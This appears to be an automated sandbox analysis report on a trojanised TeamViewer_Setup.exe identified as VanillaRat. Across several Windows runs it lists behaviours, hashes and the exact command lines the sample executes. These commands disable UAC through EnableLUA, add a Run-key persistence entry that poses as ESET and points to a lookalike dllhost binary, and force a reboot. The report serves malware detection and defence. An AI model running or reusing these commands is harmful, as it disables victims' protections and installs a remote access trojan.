Analysis Overview
SHA256
7411a95cf987a085c9bb3990cab95b8479e752b1c4370c9c256c07dd64f6b7b9
Threat Level: Known bad
The file TeamViewer_Setup.exe was found to be: Known bad.
Malicious Activity Summary
Vanillarat family
VanillaRat
UAC bypass
Vanilla Rat payload
Vanilla Rat payload
Adds Run key to start application
Drops file in System32 directory
Unsigned PE
Modifies data under HKEY_USERS
Suspicious use of AdjustPrivilegeToken
Modifies registry key
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-07-19 16:25
Signatures
Vanilla Rat payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Vanillarat family
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2023-07-19 16:25
Reported
2023-07-19 16:26
Platform
win7-20230712-en
Max time kernel
9s
Max time network
13s
Command Line
Signatures
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Windows\SysWOW64\reg.exe | N/A |
VanillaRat
Vanilla Rat payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Windows\SysWOW64\reg.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\EsetNOD32 = "C:\\Windows\\System32\\dllhоst.exe" | C:\Windows\SysWOW64\reg.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\dllhоst.exe | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
| File created | C:\Windows\SysWOW64\install.cmd | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\shutdown.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SysWOW64\shutdown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe
"C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Windows\System32\install.cmd
C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
C:\Windows\SysWOW64\shutdown.exe
shutdown -r -t 1
C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0
C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x1
Network
Files
memory/2236-54-0x0000000000C80000-0x0000000000CFE000-memory.dmp
memory/2236-55-0x0000000074C70000-0x000000007535E000-memory.dmp
C:\Windows\SysWOW64\install.cmd
| MD5 | 6bb1de604664795e452c73659ff8ced7 |
| SHA1 | 93587cb366f8f46ad592f4eb9850837e1cafef73 |
| SHA256 | 69e87d18a60bc161d236af5471c6598b6897e297d2b26f0b3e9a63bd4475501f |
| SHA512 | e71dda2217b6bf338e8ade43249d7a726ee93d504760c11694232b1d4b15d41557d8f61f451f6c8b67f86b9acc16e214d2dc479fed24c4e67bd1169dff553bcd |
C:\Windows\SysWOW64\install.cmd
| MD5 | 6bb1de604664795e452c73659ff8ced7 |
| SHA1 | 93587cb366f8f46ad592f4eb9850837e1cafef73 |
| SHA256 | 69e87d18a60bc161d236af5471c6598b6897e297d2b26f0b3e9a63bd4475501f |
| SHA512 | e71dda2217b6bf338e8ade43249d7a726ee93d504760c11694232b1d4b15d41557d8f61f451f6c8b67f86b9acc16e214d2dc479fed24c4e67bd1169dff553bcd |
memory/2236-65-0x0000000074C70000-0x000000007535E000-memory.dmp
memory/552-66-0x00000000029C0000-0x00000000029C1000-memory.dmp
memory/3056-67-0x0000000002760000-0x0000000002761000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-07-19 16:25
Reported
2023-07-19 16:26
Platform
win10-20230703-en
Max time kernel
7s
Max time network
12s
Command Line
Signatures
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Windows\SysWOW64\reg.exe | N/A |
VanillaRat
Vanilla Rat payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Windows\SysWOW64\reg.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\EsetNOD32 = "C:\\Windows\\System32\\dllhоst.exe" | C:\Windows\SysWOW64\reg.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\install.cmd | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
| File created | C:\Windows\SysWOW64\dllhоst.exe | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "1" | C:\Windows\system32\LogonUI.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\shutdown.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SysWOW64\shutdown.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\LogonUI.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe
"C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\install.cmd
C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
C:\Windows\SysWOW64\shutdown.exe
shutdown -r -t 1
C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x0 /state0:0xa3ae5855 /state1:0x41c64e6d
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 63.141.182.52.in-addr.arpa | udp |
Files
memory/4968-117-0x00000000002E0000-0x000000000035E000-memory.dmp
memory/4968-118-0x0000000073D20000-0x000000007440E000-memory.dmp
memory/4968-119-0x0000000004C80000-0x0000000004D1C000-memory.dmp
memory/4968-124-0x0000000073D20000-0x000000007440E000-memory.dmp
C:\Windows\SysWOW64\install.cmd
| MD5 | 6bb1de604664795e452c73659ff8ced7 |
| SHA1 | 93587cb366f8f46ad592f4eb9850837e1cafef73 |
| SHA256 | 69e87d18a60bc161d236af5471c6598b6897e297d2b26f0b3e9a63bd4475501f |
| SHA512 | e71dda2217b6bf338e8ade43249d7a726ee93d504760c11694232b1d4b15d41557d8f61f451f6c8b67f86b9acc16e214d2dc479fed24c4e67bd1169dff553bcd |
Analysis: behavioral3
Detonation Overview
Submitted
2023-07-19 16:25
Reported
2023-07-19 16:26
Platform
win10v2004-20230703-en
Max time kernel
15s
Max time network
24s
Command Line
Signatures
UAC bypass
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" | C:\Windows\SysWOW64\reg.exe | N/A |
VanillaRat
Vanilla Rat payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\EsetNOD32 = "C:\\Windows\\System32\\dllhоst.exe" | C:\Windows\SysWOW64\reg.exe | N/A |
| Key created | \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run | C:\Windows\SysWOW64\reg.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\SysWOW64\dllhоst.exe | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
| File created | C:\Windows\SysWOW64\install.cmd | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "243" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM | C:\Windows\system32\LogonUI.exe | N/A |
Modifies registry key
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\reg.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\SysWOW64\shutdown.exe | N/A |
| Token: SeRemoteShutdownPrivilege | N/A | C:\Windows\SysWOW64\shutdown.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\LogonUI.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe
"C:\Users\Admin\AppData\Local\Temp\TeamViewer_Setup.exe"
C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\System32\install.cmd
C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v EsetNOD32 /t REG_SZ /d C:\Windows\System32\dllhоst.exe /f
C:\Windows\SysWOW64\reg.exe
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
C:\Windows\SysWOW64\shutdown.exe
shutdown -r -t 1
C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3993855 /state1:0x41c64e6d
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.7.248.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
Files
memory/4584-133-0x00000000005F0000-0x000000000066E000-memory.dmp
memory/4584-134-0x0000000074B00000-0x00000000752B0000-memory.dmp
memory/4584-135-0x0000000004FC0000-0x000000000505C000-memory.dmp
C:\Windows\SysWOW64\install.cmd
| MD5 | 6bb1de604664795e452c73659ff8ced7 |
| SHA1 | 93587cb366f8f46ad592f4eb9850837e1cafef73 |
| SHA256 | 69e87d18a60bc161d236af5471c6598b6897e297d2b26f0b3e9a63bd4475501f |
| SHA512 | e71dda2217b6bf338e8ade43249d7a726ee93d504760c11694232b1d4b15d41557d8f61f451f6c8b67f86b9acc16e214d2dc479fed24c4e67bd1169dff553bcd |
memory/4584-141-0x0000000074B00000-0x00000000752B0000-memory.dmp